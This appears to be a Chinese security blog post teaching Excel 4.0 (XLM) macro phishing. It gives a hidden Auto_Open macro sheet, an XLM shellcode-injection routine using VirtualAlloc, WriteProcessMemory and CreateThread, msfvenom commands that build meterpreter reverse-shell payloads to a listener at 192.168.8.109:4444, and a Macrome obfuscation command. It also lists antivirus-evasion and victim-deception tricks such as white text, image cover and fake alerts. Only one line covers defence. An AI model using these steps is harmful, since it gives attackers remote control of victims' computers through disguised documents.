前言
XLM钓鱼不是一项新的技术,自从公开以后,网上有很多对其的分析文章,这里仅仅做一个分享和摸索记录。文章中有问题的地方还请指出。
一个简单的例子
新建一个excel表格,右键选择表,选择插入
插入ms excel4.0宏表
随后在单元格输入以下内容,并将A1格内容改为Auto_Open,随后隐藏这个表就好。
随后保存为启用宏的文档。
当鱼儿点开,选择启用宏时就会调用计算器,并弹窗
扩展及原理
通过Auto_Open可以让宏表自动运行,通过隐藏宏表可以做到简单的隐藏效果。
而在实战环境中,我们更关注的是能否执行我们的shellcode。
Outflank研究发现,通过利用这些宏的REGISTER和CALL函数,可以调用 Win32 API,并可以将 shellcode 注入到正在运行的进程中。
REGISTER("Kernel32","VirtualAlloc","JJJJJ",0,880,4096,64)
REGISTER(module_name, procedure_name, type, alias, argument, macro_type, category)
- Module_name 是 DLL 的名称,例如 c:\windows\system32\kernel32.dll 的“Kernel32”。
- Procedure_name 是 DLL 中导出函数的名称,例如“VirtualAlloc”。
- Type 是一个字符串,指定函数的返回值和参数的类型。
- Alias 可以为函数指定的自定义名称,稍后可以通过该名称调用它。
- Argument 可用于命名函数的参数,它是可选的。
- Macro_type 应该是 1,代表函数。
- Category 是类别编号(用于古老的 Excel 功能)。我们可以为我们的目的指定一个 1 到 14 之间的任意类别编号
如果你想深入了解可以参考excel 4.0函数说明文档
接下来我们构建一个可以执行我们自己shellcode的文档,这里有几个要注意的点
一个是shellcode中不能存在空字节‘\x00’
另外一个就是WPM每次调用最多只能写入255 个字节。
我们来看一下网上相关的利用代码
1 2 3 4 5 6 7 8 9 10 11 | = R1C2() / / 调用指定位置代码
= CALL( "Kernel32" , "VirtualAlloc" , "JJJJJ" , 0 , 1000000 , 4096 , 64 ) / / 调用Kernel
= SELECT(R1C2:R1000:C2,R1C2) / / 选择shellcode列
= SET .VALUE(R1C3, 0 ) / / 设置一个单元格
= WHILE( LEN (ACTIVE.CELL())> 0 )
= CALL( "Kernel32" , "WriteProcessMemory" , "JJJCJJ" , - 1 , R2C1 + R1C3 * 20 ,ACTIVE.CELL(), LEN (ACTIVE.CELL()), 0 )
= SET .VALUE(R1C3, R1C3 + 1 )
= SELECT(, "R[1]C" )
= NEXT () / / 循环shellcode,调用RtilCopyMemory,循环往内存空间写入,当当前shell代码单元格的长度一旦将单元格写入内存,计数器 + 1 并进入下一循环
= CALL( "Kernel32" , "CreateThread" , "JJJJJJJ" , 0 , 0 , R2C1, 0 , 0 , 0 ) / / 调用CreateThread创建线程
= HALT() / / 必须包含HALT或RETURN函数
|
这个时候可以使用工具生成我们自己的shellcode,并转化即可。过程中会遇到EXCEL崩溃的情况,不过代码执行并不受影响。
通过msf命令,我们可以快速生成不包含空字节的shellcode,通过SharpShooter工具可以帮助把shellcode转化成可用的格式。当然网上也有很多脚本可以利用,可以自行搜索下。
使用工具先生成
生成后发现打开直接崩溃,不过没有关系。我们可以手动对代码进行调整
对于excel宏调用,我们可以观察其代码,发现其中的excel宏片段是写死的,猜测崩溃原因就在此
无论怎样生成,其中代码都是不变的,所以就可能造成崩溃的问题。有闲工夫可以附加调试看看什么情况,不过这不在本文章的范围。
看了一些项目发现,其调用的地址都是动态生成的
https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js
这种不带混淆的,直接VirtualAlloc -> WriteProcessMemory -> CreateThread现在肯定是被杀的,所以还是需要自动化的生成工具。
自动化利用
github上有很多的开源的工具,这里我使用Macrome
使用msf生成64位和32位不包含空字节的shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' -e x64/xor --arch x64 --platform windows -f raw > payload64.bin
`msfvenom -p windows/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' --arch x86 --platform windows -f raw > payload32.bin
使用工具执行,该命令会使用默认模板写入并混淆。
`Macrome.exe build --decoy-document decoy_document.xls --payload payload32.bin --payload64-bit payload64.bin
当受害者点击启用宏就会上线。上线后如果关闭excel,那么shell就会断开。
另外使用64位监听器去接收会引起excel的崩溃,因为测试环境是64位的,但是EXCEL安装的是32位的。
32位监听器正常上线
VT查杀率 21/59
网上工具自动生成还是存在查杀率较高的问题,如果想要做到免杀效果好的话,还是需要自己尝试去编码,开发开发工具。
bypass
因为XLM的构造特点,如Auto_Open、数量贼多的char函数等等,某些AV还不管三七二十一的给你误报,所以bypass还是比较困难的。
现在这个钓鱼方法已经工具化了,往往都集成了各种编码,加密。这里只介绍几种从攻击团伙的样本中学到的一些姿势。
1、图片遮盖
将宏代码隐藏在图片下,图片可以是提示启用宏的引导性内容
2、交互式消息弹窗
=IF(ALERT("此文档与您的服务程序不兼容,是否还要继续查看此文档?",1),,CLOSE(TRUE))
代码是顺序执行的,所以该执行的也不受影响,通过交互式弹窗的方式让鱼儿放松警惕
3、下载在转储
从网上下载恶意代码,存储到某个位置。然后再调用执行
4、代码随意分布
将代码拆分保存在各个分散的单元格中
5、更改字体颜色
修改字体颜色为白色
6、修改二进制文件
通过修改二进制文件的方式去隐藏宏表,这样无法通过普通方式取消隐藏来获取宏表
7、替代函数规避
通过可以用函数组合,或者通过日期函数获取数字,通过算数运算传入某些值
8、多个宏表
构建多个宏表,隐藏真正的恶意宏表,拖慢分析
9、恶意代码隐藏到注释
将shellcode内容加密防止注释中再调用
防御手段
1、禁用宏,对于宏文档提高警惕性
参考文章
https://synzack.github.io/Weaponizing-28-Year-Old-XLM-Macros/
https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)